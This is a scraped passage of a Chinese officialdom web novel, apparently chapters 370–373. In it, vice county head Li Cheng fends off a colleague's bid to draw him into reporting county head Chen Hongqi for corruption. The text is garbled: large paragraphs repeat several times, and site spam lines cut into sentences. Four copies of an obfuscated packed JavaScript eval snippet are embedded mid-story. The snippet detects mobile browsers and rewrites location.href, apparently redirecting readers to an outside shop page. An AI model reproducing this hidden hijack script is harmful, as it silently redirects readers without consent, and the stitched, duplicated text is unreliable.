崔学文摆了摆手,摆出一副无奈的模样。 看似随意,实则是要借李承的嘴,达到他的目的。 “政策理念不同而已。” 李承知道崔学文想让他说什么,但李承选择装傻充愣。 他不知道洪明德对陈红旗是什么态度,关系如何。 所以不能妄加评论,去得罪人。 旗不一样,他见过大世面,心中对李承这种干部,有敬畏之心。 跟着洪明德进入客厅,李承将礼品放在桌子上后,坐在客厅沙发。 “去谈得顺利吗?” 洪明德亲自给李承倒了一杯茶,问。 “还算顺利,跟金总的初步共识达成,就看董事们的意见。”李承道。 “北方重型装备是南陵的纳税大户,招商的难度大,想要让他们入驻的园区会很多。 能达成初步共识已经很不容易了。” 洪明德这番话,是对李承的认可。 “有陈县长的搅合,李县长还能谈出共识,这能力的确让人刮目相看啊,哈哈哈.” 崔学文在旁边插话道。 他特意点名了陈红旗,还着重用了‘搅合’二字! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353804|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他要得到洪明德的支持,就需要让对方在心里不再认可陈红旗。 这句话里,不是对李承的赞许,是带着他的政治意图。 “他又搅合什么了?”洪明德端着茶杯的手顿了一下,问。 “让李县长跟您说吧。” 崔学文摆了摆手,摆出一副无奈的模样。 看似随意,实则是要借李承的嘴,达到他的目的。 “政策理念不同而已。” 李承知道崔学文想让他说什么,但李承选择装傻充愣。 他不知道洪明德对陈红旗是什么态度,关系如何。 所以不能妄加评论,去得罪人。 旗不一样,他见过大世面,心中对李承这种干部,有敬畏之心。 跟着洪明德进入客厅,李承将礼品放在桌子上后,坐在客厅沙发。 “去谈得顺利吗?” 洪明德亲自给李承倒了一杯茶,问。 “还算顺利,跟金总的初步共识达成,就看董事们的意见。”李承道。 “北方重型装备是南陵的纳税大户,招商的难度大,想要让他们入驻的园区会很多。 能达成初步共识已经很不容易了。” 洪明德这番话,是对李承的认可。 “有陈县长的搅合,李县长还能谈出共识,这能力的确让人刮目相看啊,哈哈哈.” 崔学文在旁边插话道。 他特意点名了陈红旗,还着重用了‘搅合’二字! 他要得到洪明德的支持,就需要让对方在心里不再认可陈红旗。 这句话里,不是对李承的赞许,是带着他的政治意图。 “他又搅合什么了?”洪明德端着茶杯的手顿了一下,问。 “让李县长跟您说吧。” 崔学文摆了摆手,摆出一副无奈的模样。 看似随意,实则是要借李承的嘴,达到他的目的。 “政策理念不同而已。” 李承知道崔学文想让他说什么,但李承选择装傻充愣。 他不知道洪明德对陈红旗是什么态度,关系如何。 所以不能妄加评论,去得罪人。 旗不一样,他见过大世面,心中对李承这种干部,有敬畏之心。 跟着洪明德进入客厅,李承将礼品放在桌子上后,坐在客厅沙发。 “去谈得顺利吗?” 洪明德亲自给李承倒了一杯茶,问。 “还算顺利,跟金总的初步共识达成,就看董事们的意见。”李承道。 “北方重型装备是南陵的纳税大户,招商的难度大,想要让他们入驻的园区会很多。 能达成初步共识已经很不容易了。” 洪明德这番话,是对李承的认可。 “有陈县长的搅合,李县长还能谈出共识,这能力的确让人刮目相看啊,哈哈哈.” 崔学文在旁边插话道。 他特意点名了陈红旗,还着重用了‘搅合’二字! 他要得到洪明德的支持,就需要让对方在心里不再认可陈红旗。 这句话里,不是对李承的赞许,是带着他的政治意图。 “他又搅合什么了?”洪明德端着茶杯的手顿了一下,问。 “让李县长跟您说吧。” 崔学文摆了摆手,摆出一副无奈的模样。 看似随意,实则是要借李承的嘴,达到他的目的。 “政策理念不同而已。” 李承知道崔学文想让他说什么,但李承选择装傻充愣。 他不知道洪明德对陈红旗是什么态度,关系如何。 所以不能妄加评论,去得罪人。 旗不一样,他见过大世面,心中对李承这种干部,有敬畏之心。 跟着洪明德进入客厅,李承将礼品放在桌子上后,坐在客厅沙发。 “去谈得顺利吗?” 洪明德亲自给李承倒了一杯茶,问。 “还算顺利,跟金总的初步共识达成,就看董事们的意见。”李承道。 “北方重型装备是南陵的纳税大户,招商的难度大,想要让他们入驻的园区会很多。 能达成初步共识已经很不容易了。” 洪明德这番话,是对李承的认可。 “有陈县长的搅合,李县长还能谈出共识,这能力的确让人刮目相看啊,哈哈哈.” 崔学文在旁边插话道。 他特意点名了陈红旗,还着重用了‘搅合’二字! 他要得到洪明德的支持,就需要让对方在心里不再认可陈红旗。 这句话里,不是对李承的赞许,是带着他的政治意图。 “他又搅合什么了?”洪明德端着茶杯的手顿了一下,问。 “让李县长跟您说吧。” 崔学文摆了摆手,摆出一副无奈的模样。 看似随意,实则是要借李承的嘴,达到他的目的。 “政策理念不同而已。” 李承知道崔学文想让他说什么,但李承选择装傻充愣。 他不知道洪明德对陈红旗是什么态度,关系如何。 所以不能妄加评论,去得罪人。 第370章 洪主任 “红旗的目光相对短浅了些,他只看到了风林县的发展前景,却忽视了企业竞争。 洪明德端起茶杯,抿了一口。 虽说,他现在对陈红旗百般不满,可世人都清楚,陈红旗是他的老下属,是他一手扶持上台。 所以,在李承这个外人面前,他还要替陈红旗辩解。 这涉及到他的个人颜面。 “李县长是给他留了面子,这跟政策没关系,是纯粹的个人利益优先,是对招商的不负责。 崔学文见李承没有接茬,他很失望。 思索片刻,他最终决定亲自开口。 “学文,这话从哪说起?洪明德眉头一挑,问。 “当初,北方重型装备的代表团来过风林县会谈,陈县长以公务为由,放了对方的鸽子,让对方白等一个多小时。 结果,对方代表团在回南陵市的路上,恰好看到陈县长从按摩店里走出来。 我们陈县长的公务,不是工作忙碌,是落枕后的颈部按摩。 崔学文靠在沙发上,语气中带着讥讽。 这种行为,发生在一位县长身上,本就是天大的笑柄。 “还有这种事? 闻言,洪明德眼神一冷,他知道陈红旗不争气,没想到不争气到这种程度。 一时间,他对自己当初的选择,也有些后悔。 “李县长,你没有耳闻吗?崔学文看向李承,问。 “跟金总聊天时,听他提了一嘴。 李承微微点头,配合着答应了。 崔学文已经公然在洪老书记面前控告了陈红旗,李承也就借坡下驴。 但李承有一点想不通。 崔学文如果想破坏洪老书记对陈红旗的印象,为什么会挑选他这个外人在场时提。 正所谓,家丑不可外扬,这是他们本地派内部的家丑,应该私下讲。 但有一点李承可以确定,崔学文这么做,有他的深意。 他不蠢。 “真没想到,陈红旗已经堕落到了这种程度,以前他不是这样的同志呀,唉 洪明德长长地叹了一口气:“权力是一把双刃剑啊! 洪明德不仅是在唏嘘,也是在李承面前撇清关系。 他在侧面告诉李承,他扶持陈红旗上台时,陈红旗并非现在这个样子。 陈红旗在风林县的为所欲为,是陈红旗的后期堕落,与他提拔人选的眼光无关。 “是呀,权力能成就一个人,也能 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 毁掉一个人。”李承附和一句。 “李县长我听说陈红旗的弟弟在产业园区中包揽了很多项目而且存在严重的偷工减料问题。 这件事如何处置的?” 洪明德目光温和地看着李承语气平淡。 从他的表情和语气中李承琢磨不透对方的态度。 “还在施工的项目进行加强监管那些已经施工完的地方只能等到以后再整改。 目前产业园区的进度是第一位。”李承说。 他只是秉公而论不夹杂个人偏见。 在搞清楚洪明德的意图之前李承不做任何个人表态。 “像这种存在过错的施工方怎么还在继续启用?”洪明德明知故问。 “这是县委常委的决定当时常务也投了票。”李承微微一笑将目光转向了崔学文。 “李县长也说了园区进度是第一位继续用陈红胜的公司是因为短期内找不到更合适的替代。 也是无奈之举保进度嘛呵呵” 崔学文投了赞同旗胜建筑继续担任施工方的票自然不能否定自己的决策。 “前段时间纪委的老朋友来过家里 怀疑这其中存在一些滥用职权非法牟利的行为想跟我了解下情况。 我就是一个退休老头大家记得我这个老领导没事来看看我但他们私下里做了些什么我怎么会知情。” 洪明德笑呵呵地讲述起来。 状态像是几位老友坐在一起闲聊天。 但李承心中却忍不住地揣测起来心中暗想:‘难道洪明德是怀疑自己跟纪委反映了情况?’ 可接下来洪明德的第二句话打消了李承的猜疑。 “我虽不知情但我也很郑重地告诉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357115|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们对于任何可能存在的违法违纪行为必须要严查到底。 法不容情不管他是谁的下属只要触犯了法律必须得到惩治!” 洪明德语气坚定他的目光始终在李承身上。 纪委同志询问洪明德关于陈红旗违纪的问题是他编造的。 其目的就是在向李承表达一个态度! 洪明德有长远的眼光。 他清楚李承没有动用人脉收拾陈红旗市里领导也对陈红旗放任不管只是时机没到。 以及顾虑到他洪明德本人的政治影响力。 一旦时机到达陈红旗干的这些蠢事必将付出 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 惨痛代价。 洪明德今天找到李承,就是提前跟陈红旗做切割,他怕被殃及池鱼。 “洪老书记,您是一个明事理的干部。” 李承微微一笑,他清楚,洪明德的那些话是故意给他听。 他也知道,在洪明德心中,陈红旗已经沦为弃子! “洪老,饭好了。” 这时,洪明德家中的保姆从厨房走了出来。 “李县长,请。” 洪明德站起身,对李承做出一个请的手势:“今晚,我们小酌几杯。” “好。” 李承微笑点头,跟在洪明德身后,进入餐厅。 几个人刚坐下来吃了没一会儿,一个穿着正装的中年男人走了进来:“爸。” 男人进门后,跟洪明德问了一声好。 他看到了李承和崔学文,却没有打招呼,一副高高在上的样子。 “洪主任。” 看到男人,崔学文站起身,殷勤地向他打招呼。 主任? 听到这个头衔,李承猜到了对方的身份。 他听林青提起过洪明德的三个子女,面前这位就是洪明德的大儿子,滨西市人大副主任。 四套班子中的领导干部,副厅级干部。 对于这个人,李承有些眼熟,当初他随同孟良德到滨西视察时,四套班子的领导层都去了,对方也在接待人员中。 第371章 私下再谈 面对这位副厅级干部李承并没有像崔学文那般殷勤。 他坐在位置上只是将目光看了过去。 对方没有理会他甚至连目光都不愿多看一眼李承没必要去讨好。 他跟崔学文是有本质区别。 崔学文的仕途发展局限于风林县接触的层次有限。 李承不同他在省政府工作过担任省长秘书期间 “光耀给你介绍一下这位是刚刚到咱们风林县上任的副县长李承。” 洪明德给儿子介绍起李承的身份。 崔学文可以不搭理那是下属。 李承不一样。 对待李承不能单看他现在的级别要敬畏他的政治背景。 闻言洪光耀这才将目光注意到李承身上。 这回他那种冷漠的态度消失脸上浮现出笑容:“李秘书刚才没注意到是您。” 他主动走向李承伸出手。 刚才他的确没有注意李承。 他的冷漠是对崔学文以及反感他父亲一把大年纪退休后还在搞官僚主义。 他还在称呼李承为秘书而非县长这也是一种示好。 代表在他的心中李承还是那位省长秘书是抬举行为。 “洪主任我们又见面了。” 对方主动示好李承这才站起身与对方握手。 “光耀你还没吃饭呢吧坐下来一起。” 洪明德对洪光耀说完对客厅内的保姆喊道:“小王再拿双碗筷过来。” “我拿就行。” 崔学文笑呵呵的去到厨房主动帮洪明德拿碗筷讨好之意十足。 洪光耀是吃过饭的他回到家是想跟洪明德聊聊他妹妹的事情。 只不过李承在这里。 他也想跟李承多接触这才坐下来共进晚餐。 该谈的刚才在客厅里已经谈完了。 这顿晚饭是聊天是客气是寒暄。 吃完饭后李承和崔学文一同告辞。 走出小院崔学文向李承发出邀请:“李县长找家小店再喝一点?” 有些话他想跟李承单独聊聊。 “好啊。”李承没有拒绝。 今晚他敏锐的察觉到崔学文和陈红旗的内部矛盾已经再次升级。 他也想确认自己的想法和试探本地派的内部动向。 “前面有个吃熏 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 酱的小酒馆,我朋友开的,我们去捧捧场。” 两个人步行了五六百米的距离,到达那个熏酱酒馆。 在老板的安排下,两人进入一个单间。 点完菜,要了两杯扎啤,边喝边聊。 “老书记已经知道了陈红旗背地里搞的那些事,他很气愤,他也想让组织查明事实,给风林县百姓一个安宁。” 崔学文以老书记为由,开展话题。 “嗯,今天接触下来,我知道老书记是一个很有底线的同志。”李承微笑说。 “县纪委这边,已经查到了一些关于旗胜的线索,矛头直指陈红旗。” 县纪委书记曹海涛是崔学文的党羽,对于陈红旗,崔学文早有布局打算。 只是,县纪委没有权限去调查陈红旗。 这次找到陈红旗的线索,其中,是有李承的无意帮助。 李承赶走了韩帅,还公然在常委会议上点名韩帅的违纪问题,县纪委就有了合适的理由,对旗胜建筑公司和韩帅之间的勾结展开调查。 顺藤摸瓜,也就查出了一些陈红旗的端倪。 “既然有线索,那就向市纪委做汇报,让组织上调查呗。”李承吸了一口烟,平静的说。 “哪有你说的这么简单呀,关系到一位县长,如果事实不符,是要被扣上诬告的帽子。 最次,也会影响到组织的内部稳定。” 崔学文摆了摆手,说。 “那常务跟我讲这些,是想让我帮什么忙吗?”李承弹了弹烟灰,淡淡的问。 “不是,我也就是跟你发发牢骚,毕竟他对产业园区的影响最大,已经影响到了招商嘛,呵呵” 崔学文笑呵呵的拿起一个熏鸡爪,啃了起来。 自从常委会那次关于林青任免的不记名投票后,陈红旗已经认定,就是崔学文在背后搞事情,跟他作对。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357116|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,这段时间里,陈红旗是想尽办法给崔学文穿小鞋。 两个人本就有旧怨,在这件事的激发下,关系闹得更僵。 崔学文在得知,洪明德对陈红旗有意见后,心思更加活络起来,想要借着这个机会,搞掉陈红旗,拿下县长的位置。 但想要万无一失,他需要李承的帮助! “现在,陈县长基本不插手管委会的内务,没那么大的影响。”李承微微一笑,说。 他隐约中,能猜测到崔学文的心思。 陈红旗的确是挡在产业园区发展路上的最大绊脚石。 但如果陈红旗的问 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 题,现在被组织揪出来,对于产业园区的发展未必是一件好事。 他下马,有利有弊。 利在于,招商最大面临的最大问题,就是企业对政府的不信任,大部分因素与陈红旗有关。 陈红旗下马,有利于让企业增进信心。 弊端在于,陈红旗不是犯了众怒,他只是得罪了一些企业,有局限性。 大部分企业,还处于观望之中。 管委会正准备加大招商的步伐,这个期间,风林县的行政一把手被抓,会造成不好的影响。 让企业们对于风林县政府的领导班子,加深顾虑,反倒容易适得其反。 当下这个阶段,只要陈红旗不再干涉管委会的招商,保持不动,才是最好的结果。 见李承始终不搭茬,崔学文喝了一大口酒,似乎下定了某种决心:“李县长,那我也就不拐弯抹角了。 你来风林这么久了,也非常清楚,陈红旗就是风林县的发展毒瘤。 我想揭发他的腐败,还风林县一个健康的政治生态。” 崔学文打着为风林县的旗号,说出了他的真实目的。 “常务,陈县长若真有问题,我支持你去检举,这是为风林百姓的贡献。” 李承掐灭香烟,只给口头支持。 想让他给崔学文当枪使,他不会去做。 “只是,在某些地方,我的确需要你的帮助.” 第372章 检举陈红旗? “常务,有什么需要的地方,你讲。” 李承戴上一次性手套,啃着一个猪蹄,悠闲的问。 “你跟市纪委的同志熟悉,上次林青同志的问题,还是你帮忙运作的。 这件事,我想请你牵个头,我和县纪委全力配合。” 崔学文说出他的真实意图。 他本以为,李承跟陈红旗斗争这么久,早就闹到了‘不共戴天’的地步。 只要他稍微给点口,李承就会心甘情愿地成为他的马前卒。 所以,最开始他是欲擒故纵。 可他的算计落空了,李承比他想象的要能沉住气。 索性,他也就直接挑明。 对于搞下陈红旗,他也没有十足的把握。 陈红旗作为‘一言堂’县长,在县里为所欲为,除了靠洪明德之外,他还有其他的底气。 这两年,陈红旗跟市里的关系也不错。 他让李承牵头,就是让李承身先士卒,毕竟,李承和陈红旗的关系早就僵化。 而他躲在幕后,就有了一个缓和的机会。 到最后,如果事情发展不如愿,他还能将问题推到李承的身上,让李承去背这个锅。 毕竟,涉及到检举,就不是政治斗争的小打小闹,是你死我活的头破血流。 万无一失之前,崔学文还不想与陈红旗闹到那种程度。 “可以呀,只要是为了风林发展好,没问题。” 李承咀嚼着猪蹄筋,毫不犹豫地答应下来。 崔学文没想到李承这么好说话,嘴角情不自禁地上扬。 可接下来,李承说的话,却让他笑容凝固。 “常务,你把陈县长违法违纪的证据给我,我立马就去市里!”李承道。 崔学文脑袋里的小心思,李承已经猜透。 对方是既想拿好处,又不想担风险,天底下哪有这种好事! 李承笃定崔学文拿不出实质性证据,这才以进为退,答应了如此爽快。 当然,若是崔学文真能拿出证据给他,李承更是乐意至极,这样,就能攥紧陈红旗的小辫子,决定他的生死。 “李县长,我要是有实质性的证据,也就不麻烦你了。”崔学文勉强挤出一个笑。 如果他有证据,压根也不会跟李承去废话。 问题在于,他没有证据,只有一些线索。 这些线索,还会面临被推翻的风险! “没有证据,那就难办了。” 李承摇了摇 头,难为情的说:“检举一位县长,若是拿不出证据来,风险太大了吧,这不是儿戏呀。” “只要市纪委立案调查,我保证,一定能查出问题!”崔学文认真的说。 “再等等吧,等你那边有证据的。” 李承摆了摆手,拒绝他的同时,端起酒杯,不再继续这个话题:“来,喝酒。” “李县长,产业园区招商在即,陈红旗对你耿耿于怀,而且,园区的发展就必须铲除掉恒达精密电镀。 陈红旗在,这个重污染,高风险的隐患就除不掉,那些企业就不敢进!” 崔学文跟李承碰了一下杯,礼貌性的喝了一口后,继续道。 他今天主动跟李承讲这些,已经是冒了很大风险。 他不甘心自己的目的没达到。 而他的这番话,也的确说到了李承的痛处。 恒达精密电镀不除,这个隐患早晚会成为拖垮产业园区的累赘! “恒达精密已经签约建厂,这已经不是陈县长一人能拍板的问题了,还需要长久之计。” 李承又喝了一大口酒,态度也认真起来:“常务,只要证据确凿,我一定支持您。” “唉” 闻言,崔学文叹了口气,他知道,李承不会当他的枪,也只好作罢: “李县长,我们是一条战线的人,在面对强权之下,我们还要互相帮助呀。” “嗯,好。” 李承微微一笑,算是应下。 可他心中却冷笑起来:‘这叫什么?合纵抗秦?’ 回到家。 许梦给李承冲了一杯蜂蜜水,坐在他身边:“一身酒味儿,今天又没少喝吧?” “不多,一杯白酒,三杯扎啤。” 李承接过杯子,将蜂蜜水一饮而尽。 “跟他们聊得怎么样?”许梦随口问。 关于李承跟谁喝的酒,去了哪里,她都知道。 是李承主动告诉给她的。 “还算顺利吧。”李承拿起烟盒,准备点燃一根香烟。 崔学文并没有达到目的,但李承,却得到可能对他有利的消息。 “不许抽了,你最近这个烟,真是越来越频繁了。” 许梦从李承手里夺过烟盒,嘟着嘴,轻哼一声:“没收。” “抽一根,就一根,我要思考一些问题。”李承竖起一根手指,笑嘻嘻的讨价还价。 “思考为什么要抽烟?”许梦不抽烟,也不理解抽烟和思考有什么关联。 “抽烟可以让我静下心,认真思考。”李承解释说。 “意思是,我打扰你思考了呗?” 许梦眨着大眼睛,扬起下巴,样子很可爱。 “不是.”李承无奈。 “那就只能抽一根,不能再多了。” 许梦打开烟盒,拿出一根烟递给李承,强调道。 “好,知道了。” 李承接过香烟,点燃后,拿起烟灰缸走向阳台。 他要思考眼下的风林县局势。 虽说,李承并不喜欢政治斗争,可政治斗争却从来没有将他遗忘。 涉及利益,就必然有斗争。 目前,产业园区的建设,涉及到了陈红旗的利益,但,这不仅仅涉及到了陈红旗的个人利益。 很多坚定与陈红旗站在一起的人,背后同样会与他有权和利的瓜葛,或多或少而已 牵一发,而动全身。 李承如果真的当了愣头青,主动去检举陈红旗,得罪的不止是陈红旗一个人! 而今后,产业园区的发展,同样会涉及到某个人,或某个团体的利益。 哪怕陈红旗下台,崔学文当了县长,政治斗争同样不会停! 李承现在的目标很明确,他不是要铲除陈红旗这个祸端,那是上级组织的工作。 李承不在乎谁来当县长,他要的,只是一个牢牢在他掌控中的管委会。 产业园区如何发展,涉及利益如何分配,全部由他一个人拍板的管委会! “抽烟可以让我静下心,认真思考。”李承解释说。 “意思是,我打扰你思考了呗?” 许梦眨着大眼睛,扬起下巴,样子很可爱。 “不是.”李承无奈。 “那就只能抽一根,不能再多了。” 许梦打开烟盒,拿出一根烟递给李承,强调道。 “好,知道了。” 李承接过香烟,点燃后,拿起烟灰缸走向阳台。 他要思考眼下的风林县局势。 虽说,李承并不喜欢政治斗争,可政治斗争却从来没有将他遗忘。 涉及利益,就必然有斗争。 目前,产业园区的建设,涉及到了陈红旗的利益,但,这不仅仅涉及到了陈红旗的个人利益。 很多坚定与陈红旗站在一起的人,背后同样会与他有权和利的瓜葛,或多或少而已 牵一发,而动全身。 李承如果真的当了愣头青,主动去检举陈红旗,得罪的不止是陈红旗一个人! 而今后,产业园区的发展,同样会涉及到某个人,或某个团体的利益。 哪怕陈红旗下台,崔学文当了县长,政治斗争同样不会停! 李承现在的目标很明确,他不是要铲除陈红旗这个祸端,那是上级组织的工作。 李承不在乎谁来当县长,他要的,只是一个牢牢在他掌控中的管委会。 产业园区如何发展,涉及利益如何分配,全部由他一个人拍板的管委会! “抽烟可以让我静下心,认真思考。”李承解释说。 “意思是,我打扰你思考了呗?” 许梦眨着大眼睛,扬起下巴,样子很可爱。 “不是.”李承无奈。 “那就只能抽一根,不能再多了。” 许梦打开烟盒,拿出一根烟递给李承,强调道。 “好,知道了。” 李承接过香烟,点燃后,拿起烟灰缸走向阳台。 他要思考眼下的风林县局势。 虽说,李承并不喜欢政治斗争,可政治斗争却从来没有将他遗忘。 涉及利益,就必然有斗争。 目前,产业园区的建设,涉及到了陈红旗的利益,但,这不仅仅涉及到了陈红旗的个人利益。 很多坚定与陈红旗站在一起的人,背后同样会与他有权和利的瓜葛,或多或少而已 牵一发,而动全身。 李承如果真的当了愣头青,主动去检举陈红旗,得罪的不止是陈红旗一个人! 而今后,产业园区的发展,同样会涉及到某个人,或某个团体的利益。 哪怕陈红旗下台,崔学文当了县长,政治斗争同样不会停! 李承现在的目标很明确,他不是要铲除陈红旗这个祸端,那是上级组织的工作。 李承不在乎谁来当县长,他要的,只是一个牢牢在他掌控中的管委会。 产业园区如何发展,涉及利益如何分配,全部由他一个人拍板的管委会! “抽烟可以让我静下心,认真思考。”李承解释说。 “意思是,我打扰你思考了呗?” 许梦眨着大眼睛,扬起下巴,样子很可爱。 “不是.”李承无奈。 “那就只能抽一根,不能再多了。” 许梦打开烟盒,拿出一根烟递给李承,强调道。 “好,知道了。” 李承接过香烟,点燃后,拿起烟灰缸走向阳台。 他要思考眼下的风林县局势。 虽说,李承并不喜欢政治斗争,可政治斗争却从来没有将他遗忘。 涉及利益,就必然有斗争。 目前,产业园区的建设,涉及到了陈红旗的利益,但,这不仅仅涉及到了陈红旗的个人利益。 很多坚定与陈红旗站在一起的人,背后同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357117|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会与他有权和利的瓜葛,或多或少而已 牵一发,而动全身。 李承如果真的当了愣头青,主动去检举陈红旗,得罪的不止是陈红旗一个人! 而今后,产业园区的发展,同样会涉及到某个人,或某个团体的利益。 哪怕陈红旗下台,崔学文当了县长,政治斗争同样不会停! 李承现在的目标很明确,他不是要铲除陈红旗这个祸端,那是上级组织的工作。 李承不在乎谁来当县长,他要的,只是一个牢牢在他掌控中的管委会。 产业园区如何发展,涉及利益如何分配,全部由他一个人拍板的管委会! “抽烟可以让我静下心,认真思考。”李承解释说。 “意思是,我打扰你思考了呗?” 许梦眨着大眼睛,扬起下巴,样子很可爱。 “不是.”李承无奈。 “那就只能抽一根,不能再多了。” 许梦打开烟盒,拿出一根烟递给李承,强调道。 “好,知道了。” 李承接过香烟,点燃后,拿起烟灰缸走向阳台。 他要思考眼下的风林县局势。 虽说,李承并不喜欢政治斗争,可政治斗争却从来没有将他遗忘。 涉及利益,就必然有斗争。 目前,产业园区的建设,涉及到了陈红旗的利益,但,这不仅仅涉及到了陈红旗的个人利益。 很多坚定与陈红旗站在一起的人,背后同样会与他有权和利的瓜葛,或多或少而已 牵一发,而动全身。 李承如果真的当了愣头青,主动去检举陈红旗,得罪的不止是陈红旗一个人! 而今后,产业园区的发展,同样会涉及到某个人,或某个团体的利益。 哪怕陈红旗下台,崔学文当了县长,政治斗争同样不会停! 李承现在的目标很明确,他不是要铲除陈红旗这个祸端,那是上级组织的工作。 李承不在乎谁来当县长,他要的,只是一个牢牢在他掌控中的管委会。 产业园区如何发展,涉及利益如何分配,全部由他一个人拍板的管委会! “抽烟可以让我静下心,认真思考。”李承解释说。 “意思是,我打扰你思考了呗?” 许梦眨着大眼睛,扬起下巴,样子很可爱。 “不是.”李承无奈。 “那就只能抽一根,不能再多了。” 许梦打开烟盒,拿出一根烟递给李承,强调道。 “好,知道了。” 李承接过香烟,点燃后,拿起烟灰缸走向阳台。 他要思考眼下的风林县局势。 虽说,李承并不喜欢政治斗争,可政治斗争却从来没有将他遗忘。 涉及利益,就必然有斗争。 目前,产业园区的建设,涉及到了陈红旗的利益,但,这不仅仅涉及到了陈红旗的个人利益。 很多坚定与陈红旗站在一起的人,背后同样会与他有权和利的瓜葛,或多或少而已 牵一发,而动全身。 李承如果真的当了愣头青,主动去检举陈红旗,得罪的不止是陈红旗一个人! 而今后,产业园区的发展,同样会涉及到某个人,或某个团体的利益。 哪怕陈红旗下台,崔学文当了县长,政治斗争同样不会停! 李承现在的目标很明确,他不是要铲除陈红旗这个祸端,那是上级组织的工作。 李承不在乎谁来当县长,他要的,只是一个牢牢在他掌控中的管委会。 产业园区如何发展,涉及利益如何分配,全部由他一个人拍板的管委会! “抽烟可以让我静下心,认真思考。”李承解释说。 “意思是,我打扰你思考了呗?” 许梦眨着大眼睛,扬起下巴,样子很可爱。 “不是.”李承无奈。 “那就只能抽一根,不能再多了。” 许梦打开烟盒,拿出一根烟递给李承,强调道。 “好,知道了。” 李承接过香烟,点燃后,拿起烟灰缸走向阳台。 他要思考眼下的风林县局势。 虽说,李承并不喜欢政治斗争,可政治斗争却从来没有将他遗忘。 涉及利益,就必然有斗争。 目前,产业园区的建设,涉及到了陈红旗的利益,但,这不仅仅涉及到了陈红旗的个人利益。 很多坚定与陈红旗站在一起的人,背后同样会与他有权和利的瓜葛,或多或少而已 牵一发,而动全身。 李承如果真的当了愣头青,主动去检举陈红旗,得罪的不止是陈红旗一个人! 而今后,产业园区的发展,同样会涉及到某个人,或某个团体的利益。 哪怕陈红旗下台,崔学文当了县长,政治斗争同样不会停! 李承现在的目标很明确,他不是要铲除陈红旗这个祸端,那是上级组织的工作。 李承不在乎谁来当县长,他要的,只是一个牢牢在他掌控中的管委会。 产业园区如何发展,涉及利益如何分配,全部由他一个人拍板的管委会! 第373章 抉择 李承站在阳台边,将窗户打开。 春天的晚风吹来,带着寒冬褪去的凉。 李承深吸了一口烟,望着窗外的夜景。 没有城市的繁华,只有偏远县区的孤寂. 他在思考一个决定。 一个可能会影响到风林县政治走向的决定! 关于陈红旗这个人,李承是反感的。 可他最近已经消停了不少,也做出了主动让步,李承不想再与他生是非。 毕竟,他的权重! 但是! 李承若想达到自己的政治目的,本地派内部就要乱起来。 崔学文今晚的拉拢之意明显,要跟李承拉帮结派,颇有推翻陈红旗强权的架势。 合纵抗秦 六国合纵,最终败在了各怀私心,互相猜忌,利益不一。 今晚的这次会面,崔学文就是带着私心来的,想要利用李承。 这让李承怎么能信任他呢? 李承在想,崔学文表面跟他搞同盟,背地里又会不会联系陈红旗搞阻击,继续维持本地派‘一言堂’的稳定性呢? 所以,李承认为,与其跟崔学文搞背地里的合作。 不如借着这个机会,彻底让本地派分崩离析,连最后的体面和伪装都帮他们揭开! 那样的话,更利于李承在管委会的地位稳定。 可是 “宝宝,你在想什么呢?这么认真?” 许梦从背后抱住李承,脸庞贴在他宽阔的背上。 李承握住许梦的手,慢慢转过身。 “问你一个问题,如果有一个人帮过你,但眼下你的利益,可能需要背刺他,你会做吗?” 李承看着许梦,淡淡的问。 “嗯不会。” 许梦略微思索后,摇了摇头:“我觉得,做人还是要讲良心的,不能恩将仇报吧。” “那如果这个人帮你,也是在他个人利益的驱动下呢?”李承再次追问。 无条件的帮,和有利可图的帮,这是两种概念。 “也不会,他帮了我,不管他出于什么目的,至少解决了我的困难,从小我妈妈就教导我说,做人需要怀揣一颗感恩的心。”许梦温柔地说。 “嗯。” 